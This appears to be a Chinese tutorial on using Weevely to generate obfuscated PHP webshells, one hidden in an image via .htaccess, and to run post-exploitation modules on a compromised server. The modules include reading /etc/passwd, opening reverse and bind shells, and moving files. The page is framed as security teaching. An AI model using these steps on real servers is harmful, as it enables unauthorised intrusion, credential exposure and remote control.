Weevely(PHP菜刀)工具使用

前言

Weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(仅限于PHP),在linux上使用时还是很给力的,就是某些模块在Windows上无法使用,总的来说还是非常不错的一款工具。
仅用于安全学习教学之用,禁止非法用途

木马生成和命令格式

生成Weevely专用的木马

命令格式:weevely generate  
注意:密码长度最小为4
后门生成(参数)
generate.php(生成php后门文件)
generate.img(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess)

生成后的PHP后门,是base64加密过的,将服务端代码分散放入单字符的变量中,同时夹杂大量无用字符(@.,随机字符)以绕过一些关键词的匹配。将分散的代码按顺序拼接,再使用str_replace去掉无用字符,最后由create_function创建匿名函数,执行。

Weevely(PHP菜刀)工具使用_第1张图片

木马生成和连接

  • 上传木马后进行连接,不论连接是否成功都会返回一个weevely session

Weevely(PHP菜刀)工具使用_第2张图片

  • 通过执行命令(包括weevely的命令以及系统命令)来检测连接是否成功
  • 如果能够执行命令则说明连接成功,如果weevely没有反应则代表连接失败

Weevely(PHP菜刀)工具使用_第3张图片

  • 出现中文乱码问题
    这是因为kail字符编码问题,这里可以临时修改设置一下字符编码,终端 >> 设定字符编码 >>简体中文

Weevely(PHP菜刀)工具使用_第4张图片

常用命令

在虚拟终端模式下使用模块时,需要在前面加上‘:’。

  • audit.systemfies [logs|root|home|…]
    枚举各种系统目录并寻找可读写的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等等(注意该模块目前只支持linux,Windows不支持)
  • audit.userfiles
    枚举用户目录下的具有权限的文件(可加载用户字典),默认情况下字典很小(注意:该模块目前只支持linux,windows不支持)
  • audit.phpconf
    查看php配置信息
  • audit.etcpasswd [-real]
    查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户
  • audit.mapwebfiles
    从制定url开始爬取目标站点结构,可用-depth参数来指定爬取深度
  • shell.sh/shell.php
    利用接口执行命令,和虚拟终端类似
  • system.info
    在weevely里比较由用的一个模块,可以获取到系统的基本信息
  • backdoor.reverstcp host port [-vector]
    反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等)
  • backdoor.tcp -port -no-connect [-vector]
    在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路)
  • net.ifaces
    查看网络ip地址
  • file.upload lpath rpath
    上传本地文件到目标站点指定路径
  • file.rm filename [-recursive] [-vector]
    删除指定文件,可开启安全确认模式
  • file.check
    用以检查目标站点下文件的状态(md5值,大小,权限等)
  • file.download rpath lpath [-vector]
    将目标站点上的文件下载到本地(可用于批量会话操作)
  • file.edit filename
    对指定文件进行编辑
  • file.read filename
    读取指定文件内容
  • file.ls path
    列觉指定路径的文件信息
  • file.upload2web
    将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入)
  • file.webdownload filename
    从其他服务器上下载文件到目标站点
  • file.touch rpath
    创建一个新文件

你可能感兴趣的:(渗透测试)